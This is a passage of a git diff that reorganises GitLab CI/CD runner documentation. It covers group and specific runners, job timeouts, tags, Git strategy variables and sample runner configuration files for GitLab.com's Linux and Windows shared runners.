shared runners for this group** toggle. -1. Optionally, to allow shared runners to be enabled for individual projects or subgroups, - click **Allow projects and subgroups to override the group setting**. - -NOTE: -To re-enable the shared runners for a group, turn on the -**Enable shared runners for this group** toggle. -Then, an owner or maintainer must explicitly change this setting -for each project subgroup or project. - -### Group runners - -Use *Group runners* when you want all projects in a group -to have access to a set of runners. - -Group runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue. - -#### Create a group runner - -You can create a group runner for your self-managed GitLab instance or for GitLab.com. -You must have [Owner permissions](../../user/permissions.md#group-members-permissions) for the group. - -To create a group runner: - -1. [Install GitLab Runner](https://docs.gitlab.com/runner/install/). -1. Go to the group you want to make the runner work for. -1. Go to **Settings > CI/CD** and expand the **Runners** section. -1. Note the URL and token. -1. [Register the runner](https://docs.gitlab.com/runner/register/). - -#### View and manage group runners - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/37366/) in GitLab 13.2. - -You can view and manage all runners for a group, its subgroups, and projects. -You can do this for your self-managed GitLab instance or for GitLab.com. -You must have [Owner permissions](../../user/permissions.md#group-members-permissions) for the group. - -1. Go to the group where you want to view the runners. -1. Go to **Settings > CI/CD** and expand the **Runners** section. -1. The following fields are displayed. - - | Attribute | Description | - | ------------ | ----------- | - | Type | One or more of the following states: shared, group, specific, locked, or paused | - | Runner token | Token used to identify the runner, and that the runner uses to communicate with the GitLab instance | - | Description | Description given to the runner when it was created | - | Version | GitLab Runner version | - | IP address | IP address of the host on which the runner is registered | - | Projects | The count of projects to which the runner is assigned | - | Jobs | Total of jobs run by the runner | - | Tags | Tags associated with the runner | - | Last contact | Timestamp indicating when the GitLab instance last contacted the runner | - -From this page, you can edit, pause, and remove runners from the group, its subgroups, and projects. - -#### Pause or remove a group runner - -You can pause or remove a group runner for your self-managed GitLab instance or for GitLab.com. -You must have [Owner permissions](../../user/permissions.md#group-members-permissions) for the group. - -1. Go to the group you want to remove or pause the runner for. -1. Go to **Settings > CI/CD** and expand the **Runners** section. -1. Click **Pause** or **Remove runner**. - - If you pause a group runner that is used by multiple projects, the runner pauses for all projects. - - From the group view, you cannot remove a runner that is assigned to more than one project. - You must remove it from each project first. -1. On the confirmation dialog, click **OK**. - -### Specific runners - -Use *Specific runners* when you want to use runners for specific projects. For example, -when you have: - -- Jobs with specific requirements, like a deploy job that requires credentials. -- Projects with a lot of CI activity that can benefit from being separate from other runners. - -You can set up a specific runner to be used by multiple projects. Specific runners -must be enabled for each project explicitly. - -Specific runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue. - -NOTE: -Specific runners do not get shared with forked projects automatically. -A fork *does* copy the CI/CD settings of the cloned repository. - -#### Create a specific runner - -You can create a specific runner for your self-managed GitLab instance or for GitLab.com. -You must have [Owner permissions](../../user/permissions.md#project-members-permissions) for the project. - -To create a specific runner: - -1. [Install runner](https://docs.gitlab.com/runner/install/). -1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. Note the URL and token. -1. [Register the runner](https://docs.gitlab.com/runner/register/). - -#### Enable a specific runner for a specific project - -A specific runner is available in the project it was created for. An administrator can -enable a specific runner to apply to additional projects. - -- You must have Owner permissions for the project. -- The specific runner must not be [locked](#prevent-a-specific-runner-from-being-enabled-for-other-projects). - -To enable or disable a specific runner for a project: - -1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. Click **Enable for this project** or **Disable for this project**. - -#### Prevent a specific runner from being enabled for other projects - -You can configure a specific runner so it is "locked" and cannot be enabled for other projects. -This setting can be enabled when you first [register a runner](https://docs.gitlab.com/runner/register/), -but can also be changed later. - -To lock or unlock a runner: - -1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. Find the runner you want to lock or unlock. Make sure it's enabled. -1. Click the pencil button. -1. Check the **Lock to current projects** option. -1. Click **Save changes**. - -## Manually clear the runner cache - -Read [clearing the cache](../caching/index.md#clearing-the-cache). - -## Set maximum job timeout for a runner - -For each runner, you can specify a *maximum job timeout*. This timeout, -if smaller than the [project defined timeout](../pipelines/settings.md#timeout), takes precedence. - -This feature can be used to prevent your shared runner from being overwhelmed -by a project that has jobs with a long timeout (for example, one week). - -When not configured, runners do not override the project timeout. - -On GitLab.com, you cannot override the job timeout for shared runners and must use the [project defined timeout](../pipelines/settings.md#timeout). - -To set the maximum job timeout: - -1. In a project, go to **Settings > CI/CD > Runners**. -1. Select your specific runner to edit the settings. -1. Enter a value under **Maximum job timeout**. -1. Select **Save changes**. - -How this feature works: - -**Example 1 - Runner timeout bigger than project timeout** - -1. You set the _maximum job timeout_ for a runner to 24 hours -1. You set the _CI/CD Timeout_ for a project to **2 hours** -1. You start a job -1. The job, if running longer, times out after **2 hours** - -**Example 2 - Runner timeout not configured** - -1. You remove the _maximum job timeout_ configuration from a runner -1. You set the _CI/CD Timeout_ for a project to **2 hours** -1. You start a job -1. The job, if running longer, times out after **2 hours** - -**Example 3 - Runner timeout smaller than project timeout** - -1. You set the _maximum job timeout_ for a runner to **30 minutes** -1. You set the _CI/CD Timeout_ for a project to 2 hours -1. You start a job -1. The job, if running longer, times out after **30 minutes** - -## Be careful with sensitive information - -With some [runner executors](https://docs.gitlab.com/runner/executors/README.html), -if you can run a job on the runner, you can get full access to the file system, -and thus any code it runs as well as the token of the runner. With shared runners, this means that anyone -that runs jobs on the runner, can access anyone else's code that runs on the -runner. - -In addition, because you can get access to the runner token, it is possible -to create a clone of a runner and submit false jobs, for example. - -The above is easily avoided by restricting the usage of shared runners -on large public GitLab instances, controlling access to your GitLab instance, -and using more secure [runner executors](https://docs.gitlab.com/runner/executors/README.html). - -### Prevent runners from revealing sensitive information - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13194) in GitLab 10.0. - -You can protect runners so they don't reveal sensitive information. -When a runner is protected, the runner picks jobs created on -[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md) only, -and ignores other jobs. - -To protect or unprotect a runner: - -1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. Find the runner you want to protect or unprotect. Make sure it's enabled. -1. Click the pencil button. -1. Check the **Protected** option. -1. Click **Save changes**. - - - -### Forks - -Whenever a project is forked, it copies the settings of the jobs that relate -to it. This means that if you have shared runners set up for a project and -someone forks that project, the shared runners serve jobs of this project. - -### Attack vectors in runners - -Mentioned briefly earlier, but the following things of runners can be exploited. -We're always looking for contributions that can mitigate these -[Security Considerations](https://docs.gitlab.com/runner/security/). - -### Reset the runner registration token for a project - -If you think that a registration token for a project was revealed, you should -reset it. A token can be used to register another runner for the project. That new runner -may then be used to obtain the values of secret variables or to clone project code. - -To reset the token: - -1. Go to the project's **Settings > CI/CD**. -1. Expand the **General pipelines settings** section. -1. Find the **Runner token** form field and click the **Reveal value** button. -1. Delete the value and save the form. -1. After the page is refreshed, expand the **Runners settings** section - and check the registration token - it should be changed. - -From now on the old token is no longer valid and does not register -any new runners to the project. If you are using any tools to provision and -register new runners, the tokens used in those tools should be updated to reflect the -value of the new token. - -## Determine the IP address of a runner - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17286) in GitLab 10.6. - -It may be useful to know the IP address of a runner so you can troubleshoot -issues with that runner. GitLab stores and displays the IP address by viewing -the source of the HTTP requests it makes to GitLab when polling for jobs. The -IP address is always kept up to date so if the runner IP changes it -automatically updates in GitLab. - -The IP address for shared runners and specific runners can be found in -different places. - -### Determine the IP address of a shared runner - -To view the IP address of a shared runner you must have admin access to -the GitLab instance. To determine this: - -1. Visit **Admin Area > Overview > Runners**. -1. Look for the runner in the table and you should see a column for **IP Address**. - - - -### Determine the IP address of a specific runner - -To can find the IP address of a runner for a specific project, -you must have Owner [permissions](../../user/permissions.md#project-members-permissions) for the project. - -1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. On the details page you should see a row for **IP Address**. - - - -## Use tags to limit the number of jobs using the runner - -You must set up a runner to be able to run all the different types of jobs -that it may encounter on the projects it's shared over. This would be -problematic for large amounts of projects, if it weren't for tags. - -GitLab CI tags are not the same as Git tags. GitLab CI tags are associated with runners. -Git tags are associated with commits. - -By tagging a runner for the types of jobs it can handle, you can make sure -shared runners will [only run the jobs they are equipped to run](../yaml/README.md#tags). - -For instance, at GitLab we have runners tagged with `rails` if they contain -the appropriate dependencies to run Rails test suites. - -When you [register a runner](https://docs.gitlab.com/runner/register/), its default behavior is to **only pick** -[tagged jobs](../yaml/README.md#tags). -To change this, you must have Owner [permissions](../../user/permissions.md#project-members-permissions) for the project. - -To make a runner pick untagged jobs: - -1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. Find the runner you want to pick untagged jobs and make sure it's enabled. -1. Click the pencil button. -1. Check the **Run untagged jobs** option. -1. Click the **Save changes** button for the changes to take effect. +The full contents of our `config.toml` are: NOTE: -The runner tags list can not be empty when it's not allowed to pick untagged jobs. - -Below are some example scenarios of different variations. - -### runner runs only tagged jobs - -The following examples illustrate the potential impact of the runner being set -to run only tagged jobs. - -Example 1: - -1. The runner is configured to run only tagged jobs and has the `docker` tag. -1. A job that has a `hello` tag is executed and stuck. - -Example 2: - -1. The runner is configured to run only tagged jobs and has the `docker` tag. -1. A job that has a `docker` tag is executed and run. - -Example 3: - -1. The runner is configured to run only tagged jobs and has the `docker` tag. -1. A job that has no tags defined is executed and stuck. - -### runner is allowed to run untagged jobs - -The following examples illustrate the potential impact of the runner being set -to run tagged and untagged jobs. - -Example 1: - -1. The runner is configured to run untagged jobs and has the `docker` tag. -1. A job that has no tags defined is executed and run. -1. A second job that has a `docker` tag defined is executed and run. - -Example 2: - -1. The runner is configured to run untagged jobs and has no tags defined. -1. A job that has no tags defined is executed and run. -1. A second job that has a `docker` tag defined is stuck. - -## Configure runner behavior with variables - -You can use [CI/CD variables](../variables/README.md) to configure runner Git behavior -globally or for individual jobs: - -- [`GIT_STRATEGY`](#git-strategy) -- [`GIT_SUBMODULE_STRATEGY`](#git-submodule-strategy) -- [`GIT_CHECKOUT`](#git-checkout) -- [`GIT_CLEAN_FLAGS`](#git-clean-flags) -- [`GIT_FETCH_EXTRA_FLAGS`](#git-fetch-extra-flags) -- [`GIT_DEPTH`](#shallow-cloning) (shallow cloning) -- [`GIT_CLONE_PATH`](#custom-build-directories) (custom build directories) - -You can also use variables to configure how many times a runner -[attempts certain stages of job execution](#job-stages-attempts). - -### Git strategy - -> - Introduced in GitLab 8.9 as an experimental feature. -> - `GIT_STRATEGY=none` requires GitLab Runner v1.7+. - -You can set the `GIT_STRATEGY` used to fetch the repository content, either -globally or per-job in the [`variables`](../yaml/README.md#variables) section: - -```yaml -variables: - GIT_STRATEGY: clone -``` - -There are three possible values: `clone`, `fetch`, and `none`. If left unspecified, -jobs use the [project's pipeline setting](../pipelines/settings.md#git-strategy). - -`clone` is the slowest option. It clones the repository from scratch for every -job, ensuring that the local working copy is always pristine. -If an existing worktree is found, it is removed before cloning. - -`fetch` is faster as it re-uses the local working copy (falling back to `clone` -if it does not exist). `git clean` is used to undo any changes made by the last -job, and `git fetch` is used to retrieve commits made after the last job ran. - -However, `fetch` does require access to the previous worktree. This works -well when using the `shell` or `docker` executor because these -try to preserve worktrees and try to re-use them by default. - -This has limitations when using the [Docker Machine executor](https://docs.gitlab.com/runner/executors/docker_machine.html). - -It does not work for [the `kubernetes` executor](https://docs.gitlab.com/runner/executors/kubernetes.html), -but a [feature proposal](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3847) exists. -The `kubernetes` executor always clones into an temporary directory. - -A Git strategy of `none` also re-uses the local working copy, but skips all Git -operations normally done by GitLab. GitLab Runner pre-clone scripts are also skipped, -if present. This strategy could mean you need to add `fetch` and `checkout` commands -to [your `.gitlab-ci.yml` script](../yaml/README.md#script). - -It can be used for jobs that operate exclusively on artifacts, like a deployment job. -Git repository data may be present, but it's likely out of date. You should only -rely on files brought into the local working copy from cache or artifacts. - -### Git submodule strategy - -> Requires GitLab Runner v1.10+. - -The `GIT_SUBMODULE_STRATEGY` variable is used to control if / how Git -submodules are included when fetching the code before a build. You can set them -globally or per-job in the [`variables`](../yaml/README.md#variables) section. - -There are three possible values: `none`, `normal`, and `recursive`: - -- `none` means that submodules are not included when fetching the project - code. This is the default, which matches the pre-v1.10 behavior. - -- `normal` means that only the top-level submodules are included. It's - equivalent to: - - ```shell - git submodule sync - git submodule update --init - ``` - -- `recursive` means that all submodules (including submodules of submodules) - are included. This feature needs Git v1.8.1 and later. When using a - GitLab Runner with an executor not based on Docker, make sure the Git version - meets that requirement. It's equivalent to: - - ```shell - git submodule sync --recursive - git submodule update --init --recursive - ``` - -For this feature to work correctly, the submodules must be configured -(in `.gitmodules`) with either: - -- the HTTP(S) URL of a publicly-accessible repository, or -- a relative path to another repository on the same GitLab server. See the - [Git submodules](../git_submodules.md) documentation. - -### Git checkout - -> Introduced in GitLab Runner 9.3. - -The `GIT_CHECKOUT` variable can be used when the `GIT_STRATEGY` is set to either -`clone` or `fetch` to specify whether a `git checkout` should be run. If not -specified, it defaults to true. You can set them globally or per-job in the -[`variables`](../yaml/README.md#variables) section. - -If set to `false`, the runner: - -- when doing `fetch` - updates the repository and leaves the working copy on - the current revision, -- when doing `clone` - clones the repository and leaves the working copy on the - default branch. - -If `GIT_CHECKOUT` is set to `true`, both `clone` and `fetch` work the same way. -The runner checks out the working copy of a revision related -to the CI pipeline: - -```yaml -variables: - GIT_STRATEGY: clone - GIT_CHECKOUT: "false" -script: - - git checkout -B master origin/master - - git merge $CI_COMMIT_SHA -``` - -### Git clean flags - -> Introduced in GitLab Runner 11.10 - -The `GIT_CLEAN_FLAGS` variable is used to control the default behavior of -`git clean` after checking out the sources. You can set it globally or per-job in the -[`variables`](../yaml/README.md#variables) section. - -`GIT_CLEAN_FLAGS` accepts all possible options of the [`git clean`](https://git-scm.com/docs/git-clean) -command. - -`git clean` is disabled if `GIT_CHECKOUT: "false"` is specified. - -If `GIT_CLEAN_FLAGS` is: - -- Not specified, `git clean` flags default to `-ffdx`. -- Given the value `none`, `git clean` is not executed. - -For example: - -```yaml -variables: - GIT_CLEAN_FLAGS: -ffdx -e cache/ -script: - - ls -al cache/ -``` - -### Git fetch extra flags - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4142) in GitLab Runner 13.1. - -The `GIT_FETCH_EXTRA_FLAGS` variable is used to control the behavior of -`git fetch`. You can set it globally or per-job in the [`variables`](../yaml/README.md#variables) section. - -`GIT_FETCH_EXTRA_FLAGS` accepts all options of the [`git fetch`](https://git-scm.com/docs/git-fetch) command. However, `GIT_FETCH_EXTRA_FLAGS` flags are appended after the default flags that can't be modified. - -The default flags are: - -- [GIT_DEPTH](#shallow-cloning). -- The list of [refspecs](https://git-scm.com/book/en/v2/Git-Internals-The-Refspec). -- A remote called `origin`. - -If `GIT_FETCH_EXTRA_FLAGS` is: - -- Not specified, `git fetch` flags default to `--prune --quiet` along with the default flags. -- Given the value `none`, `git fetch` is executed only with the default flags. - -For example, the default flags are `--prune --quiet`, so you can make `git fetch` more verbose by overriding this with just `--prune`: - -```yaml -variables: - GIT_FETCH_EXTRA_FLAGS: --prune -script: - - ls -al cache/ -``` - -The configuration above results in `git fetch` being called this way: - -```shell -git fetch origin $REFSPECS --depth 50 --prune +Settings that are not public are shown as `X`. + +**Google Cloud Platform** + +```toml +concurrent = X +check_interval = 1 +metrics_server = "X" +sentry_dsn = "X" + +[[runners]] + name = "docker-auto-scale" + request_concurrency = X + url = "https://gitlab.com/" + token = "SHARED_RUNNER_TOKEN" + pre_clone_script = "eval \"$CI_PRE_CLONE_SCRIPT\"" + executor = "docker+machine" + environment = [ + "DOCKER_DRIVER=overlay2", + "DOCKER_TLS_CERTDIR=" + ] + limit = X + [runners.docker] + image = "ruby:2.5" + privileged = true + volumes = [ + "/certs/client", + "/dummy-sys-class-dmi-id:/sys/class/dmi/id:ro" # Make kaniko builds work on GCP. + ] + [runners.machine] + IdleCount = 50 + IdleTime = 3600 + MaxBuilds = 1 # For security reasons we delete the VM after job has finished so it's not reused. + MachineName = "srm-%s" + MachineDriver = "google" + MachineOptions = [ + "google-project=PROJECT", + "google-disk-size=25", + "google-machine-type=n1-standard-1", + "google-username=core", + "google-tags=gitlab-com,srm", + "google-use-internal-ip", + "google-zone=us-east1-d", + "engine-opt=mtu=1460", # Set MTU for container interface, for more information check https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3214#note_82892928 + "google-machine-image=PROJECT/global/images/IMAGE", + "engine-opt=ipv6", # This will create IPv6 interfaces in the containers. + "engine-opt=fixed-cidr-v6=fc00::/7", + "google-operation-backoff-initial-interval=2" # Custom flag from forked docker-machine, for more information check https://github.com/docker/machine/pull/4600 + ] + [[runners.machine.autoscaling]] + Periods = ["* * * * * sat,sun *"] + Timezone = "UTC" + IdleCount = 70 + IdleTime = 3600 + [[runners.machine.autoscaling]] + Periods = ["* 30-59 3 * * * *", "* 0-30 4 * * * *"] + Timezone = "UTC" + IdleCount = 700 + IdleTime = 3600 + [runners.cache] + Type = "gcs" + Shared = true + [runners.cache.gcs] + CredentialsFile = "/path/to/file" + BucketName = "bucket-name" ``` -Where `$REFSPECS` is a value provided to the runner internally by GitLab. +## Windows shared runners (beta) -### Shallow cloning +The Windows shared runners are in [beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta) +and shouldn't be used for production workloads. -> Introduced in GitLab 8.9 as an experimental feature. +During this beta period, the [shared runner pipeline quota](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota) +applies for groups and projects in the same manner as Linux runners. This may +change when the beta period ends, as discussed in this [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/30834). -You can specify the depth of fetching and cloning using `GIT_DEPTH`. -`GIT_DEPTH` does a shallow clone of the repository and can significantly speed up cloning. -It can be helpful for repositories with a large number of commits or old, large binaries. The value is -passed to `git fetch` and `git clone`. +Windows shared runners on GitLab.com autoscale by launching virtual machines on +the Google Cloud Platform. This solution uses an +[autoscaling driver](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/tree/master/docs/readme.md) +developed by GitLab for the [custom executor](https://docs.gitlab.com/runner/executors/custom.html). +Windows shared runners execute your CI/CD jobs on `n1-standard-2` instances with +2 vCPUs and 7.5 GB RAM. You can find a full list of available Windows packages in +the [package documentation](https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/gcp/windows-containers/blob/master/cookbooks/preinstalled-software/README.md). -In GitLab 12.0 and later, newly-created projects automatically have a -[default `git depth` value of `50`](../pipelines/settings.md#git-shallow-clone). +We want to keep iterating to get Windows shared runners in a stable state and +[generally available](https://about.gitlab.com/handbook/product/gitlab-the-product/#generally-available-ga). +You can follow our work towards this goal in the +[related epic](https://gitlab.com/groups/gitlab-org/-/epics/2162). -If you use a depth of `1` and have a queue of jobs or retry -jobs, jobs may fail. +### Configuration -Git fetching and cloning is based on a ref, such as a branch name, so runners -can't clone a specific commit SHA. If multiple jobs are in the queue, or -you're retrying an old job, the commit to be tested must be within the -Git history that is cloned. Setting too small a value for `GIT_DEPTH` can make -it impossible to run these old commits and `unresolved reference` is displayed in -job logs. You should then reconsider changing `GIT_DEPTH` to a higher value. +The full contents of our `config.toml` are: -Jobs that rely on `git describe` may not work correctly when `GIT_DEPTH` is -set since only part of the Git history is present. - -To fetch or clone only the last 3 commits: - -```yaml -variables: - GIT_DEPTH: "3" +NOTE: +Settings that aren't public are shown as `X`. + +```toml +concurrent = X +check_interval = 3 + +[[runners]] + name = "windows-runner" + url = "https://gitlab.com/" + token = "TOKEN" + executor = "custom" + builds_dir = "C:\\GitLab-Runner\\builds" + cache_dir = "C:\\GitLab-Runner\\cache" + shell = "powershell" + [runners.custom] + config_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe" + config_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "config"] + prepare_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe" + prepare_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "prepare"] + run_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe" + run_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "run"] + cleanup_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe" + cleanup_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "cleanup"] ``` -You can set it globally or per-job in the [`variables`](../yaml/README.md#variables) section. - -### Custom build directories - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2211) in GitLab Runner 11.10. - -By default, GitLab Runner clones the repository in a unique subpath of the -`$CI_BUILDS_DIR` directory. However, your project might require the code in a -specific directory (Go projects, for example). In that case, you can specify -the `GIT_CLONE_PATH` variable to tell the runner the directory to clone the -repository in: - -```yaml -variables: - GIT_CLONE_PATH: $CI_BUILDS_DIR/project-name - -test: - script: - - pwd +The full contents of our `autoscaler/config.toml` are: + +```toml +Provider = "gcp" +Executor = "winrm" +OS = "windows" +LogLevel = "info" +LogFormat = "text" +LogFile = "C:\\GitLab-Runner\\autoscaler\\autoscaler.log" +VMTag = "windows" + +[GCP] + ServiceAccountFile = "PATH" + Project = "some-project-df9323" + Zone = "us-east1-c" + MachineType = "n1-standard-2" + Image = "IMAGE" + DiskSize = 50 + DiskType = "pd-standard" + Subnetwork = "default" + Network = "default" + Tags = ["TAGS"] + Username = "gitlab_runner" + +[WinRM] + MaximumTimeout = 3600 + ExecutionMaxRetries = 0 + +[ProviderCache] + Enabled = true + Directory = "C:\\GitLab-Runner\\autoscaler\\machines" ``` -The `GIT_CLONE_PATH` has to always be within `$CI_BUILDS_DIR`. The directory set in `$CI_BUILDS_DIR` -is dependent on executor and configuration of [runners.builds_dir](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) -setting. - -This can only be used when `custom_build_dir` is enabled in the -[runner's configuration](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runnerscustom_build_dir-section). -This is the default configuration for the `docker` and `kubernetes` executors. - -#### Handling concurrency - -An executor that uses a concurrency greater than `1` might lead -to failures. Multiple jobs might be working on the same directory if the `builds_dir` -is shared between jobs. - -The runner does not try to prevent this situation. It's up to the administrator -and developers to comply with the requirements of runner configuration. +### Example -To avoid this scenario, you can use a unique path within `$CI_BUILDS_DIR`, because runner -exposes two additional variables that provide a unique `ID` of concurrency: - -- `$CI_CONCURRENT_ID`: Unique ID for all jobs running within the given executor. -- `$CI_CONCURRENT_PROJECT_ID`: Unique ID for all jobs running within the given executor and project. - -The most stable configuration that should work well in any scenario and on any executor -is to use `$CI_CONCURRENT_ID` in the `GIT_CLONE_PATH`. For example: +Below is a simple `.gitlab-ci.yml` file to show how to start using the +Windows shared runners: ```yaml -variables: - GIT_CLONE_PATH: $CI_BUILDS_DIR/$CI_CONCURRENT_ID/project-name - -test: +.shared_windows_runners: + tags: + - shared-windows + - windows + - windows-1809 + +stages: + - build + - test + +before_script: + - Set-Variable -Name "time" -Value (date -Format "%H:%m") + - echo ${time} + - echo "started by ${GITLAB_USER_NAME}" + +build: + extends: + - .shared_windows_runners + stage: build script: - - pwd -``` - -The `$CI_CONCURRENT_PROJECT_ID` should be used in conjunction with `$CI_PROJECT_PATH` -as the `$CI_PROJECT_PATH` provides a path of a repository. That is, `group/subgroup/project`. For example: - -```yaml -variables: - GIT_CLONE_PATH: $CI_BUILDS_DIR/$CI_CONCURRENT_ID/$CI_PROJECT_PATH + - echo "running scripts in the build job" test: + extends: + - .shared_windows_runners + stage: test script: - - pwd -``` - -#### Nested paths - -The value of `GIT_CLONE_PATH` is expanded once and nesting variables -within is not supported. - -For example, you define both the variables below in your -`.gitlab-ci.yml` file: - -```yaml -variables: - GOPATH: $CI_BUILDS_DIR/go - GIT_CLONE_PATH: $GOPATH/src/namespace/project -``` - -The value of `GIT_CLONE_PATH` is expanded once into -`$CI_BUILDS_DIR/go/src/namespace/project`, and results in failure -because `$CI_BUILDS_DIR` is not expanded. - -### Job stages attempts - -> Introduced in GitLab, it requires GitLab Runner v1.9+. - -You can set the number of attempts that the running job tries to execute -the following stages: - -| Variable | Description | -|---------------------------------|--------------------------------------------------------| -| `ARTIFACT_DOWNLOAD_ATTEMPTS` | Number of attempts to download artifacts running a job | -| `EXECUTOR_JOB_SECTION_ATTEMPTS` | [In GitLab 12.10](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4450) and later, the number of attempts to run a section in a job after a [`No Such Container`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4450) error ([Docker executor](https://docs.gitlab.com/runner/executors/docker.html) only). | -| `GET_SOURCES_ATTEMPTS` | Number of attempts to fetch sources running a job | -| `RESTORE_CACHE_ATTEMPTS` | Number of attempts to restore the cache running a job | - -The default is one single attempt. - -Example: - -```yaml -variables: - GET_SOURCES_ATTEMPTS: 3 -``` - -You can set them globally or per-job in the [`variables`](../yaml/README.md#variables) section. - -## System calls not available on GitLab.com shared runners - -GitLab.com shared runners run on CoreOS. This means that you cannot use some system calls, like `getlogin`, from the C standard library. - -## Artifact and cache settings - -> Introduced in GitLab Runner 13.9. - -Artifact and cache settings control the compression ratio of artifacts and caches. -Use these settings to specify the size of the archive produced by a job. - -- On a slow network, uploads might be faster for smaller archives. -- On a fast network where bandwidth and storage are not a concern, uploads might be faster using the fastest compression ratio, despite the archive produced being larger. - -For [GitLab Pages](../../user/project/pages/index.md) to serve -[HTTP Range requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/Range_requests), artifacts -should use the `ARTIFACT_COMPRESSION_LEVEL: fastest` setting, as only uncompressed zip archives -support this feature. - -A meter can also be enabled to provide the rate of transfer for uploads and downloads. - -```yaml -variables: - # output upload and download progress every 2 seconds - TRANSFER_METER_FREQUENCY: "2s" - - # Use fast compression for artifacts, resulting in larger archives - ARTIFACT_COMPRESSION_LEVEL: "fast" - - # Use no compression for caches - CACHE_COMPRESSION_LEVEL: "fastest" + - echo "running scripts in the test job" ``` -| Variable | Description | -|---------------------------------|--------------------------------------------------------| -| `TRANSFER_METER_FREQUENCY` | Specify how often to print the meter's transfer rate. It can be set to a duration (for example, `1s` or `1m30s`). A duration of `0` disables the meter (default). When a value is set, the pipeline shows a progress meter for artifact and cache uploads and downloads. | -| `ARTIFACT_COMPRESSION_LEVEL` | To adjust compression ratio, set to `fastest`, `fast`, `default`, `slow`, or `slowest`. This setting works with the Fastzip archiver only, so the GitLab Runner feature flag [`FF_USE_FASTZIP`](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags) must also be enabled. | -| `CACHE_COMPRESSION_LEVEL` | To adjust compression ratio, set to `fastest`, `fast`, `default`, `slow`, or `slowest`. This setting works with the Fastzip archiver only, so the GitLab Runner feature flag [`FF_USE_FASTZIP`](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags) must also be enabled. | +### Limitations and known issues + +- All the limitations mentioned in our [beta + definition](https://about.gitlab.com/handbook/product/#beta). +- The average provisioning time for a new Windows VM is 5 minutes. + This means that you may notice slower build start times + on the Windows shared runner fleet during the beta. In a future + release we intend to update the autoscaler to enable + the pre-provisioning of virtual machines. This is intended to significantly reduce + the time it takes to provision a VM on the Windows fleet. You can + follow along in the [related issue](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/-/issues/32). +- The Windows shared runner fleet may be unavailable occasionally + for maintenance or updates. +- The Windows shared runner virtual machine instances do not use the + GitLab Docker executor. This means that you can't specify + [`image`](../../ci/yaml/README.md#image) or [`services`](../../ci/yaml/README.md#services) in + your pipeline configuration. +- For the beta release, we have included a set of software packages in + the base VM image. If your CI job requires additional software that's + not included in this list, then you must add installation + commands to [`before_script`](../../ci/yaml/README.md#before_script) or [`script`](../../ci/yaml/README.md#script) to install the required + software. Note that each job runs on a new VM instance, so the + installation of additional software packages needs to be repeated for + each job in your pipeline. +- The job may stay in a pending state for longer than the + Linux shared runners. +- There is the possibility that we introduce breaking changes which will + require updates to pipelines that are using the Windows shared runner + fleet. diff --git a/doc/ci/runners/configure_runners.md b/doc/ci/runners/configure_runners.md new file mode 100644 index 00000000000..775de26b772 --- /dev/null +++ b/doc/ci/runners/configure_runners.md @@ -0,0 +1,601 @@ +--- +stage: Verify +group: Runner +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: reference +--- + +# Configuring runners + +If you have installed your own runners, you can configure and secure them in GitLab. + +If you need to configure runners on the machine where you installed GitLab Runner, see +[the GitLab Runner documentation](https://docs.gitlab.com/runner/configuration). + +## Manually clear the runner cache + +Read [clearing the cache](../caching/index.md#clearing-the-cache). + +## Set maximum job timeout for a runner + +For each runner, you can specify a *maximum job timeout*. This timeout, +if smaller than the [project defined timeout](../pipelines/settings.md#timeout), takes precedence. + +This feature can be used to prevent your shared runner from being overwhelmed +by a project that has jobs with a long timeout (for example, one week). + +When not configured, runners do not override the project timeout. + +On GitLab.com, you cannot override the job timeout for shared runners and must use the [project defined timeout](../pipelines/settings.md#timeout). + +To set the maximum job timeout: + +1. In a project, go to **Settings > CI/CD > Runners**. +1. Select your specific runner to edit the settings. +1. Enter a value under **Maximum job timeout**. +1. Select **Save changes**. + +How this feature works: + +**Example 1 - Runner timeout bigger than project timeout** + +1. You set the _maximum job timeout_ for a runner to 24 hours +1. You set the _CI/CD Timeout_ for a project to **2 hours** +1. You start a job +1. The job, if running longer, times out after **2 hours** + +**Example 2 - Runner timeout not configured** + +1. You remove the _maximum job timeout_ configuration from a runner +1. You set the _CI/CD Timeout_ for a project to **2 hours** +1. You start a job +1. The job, if running longer, times out after **2 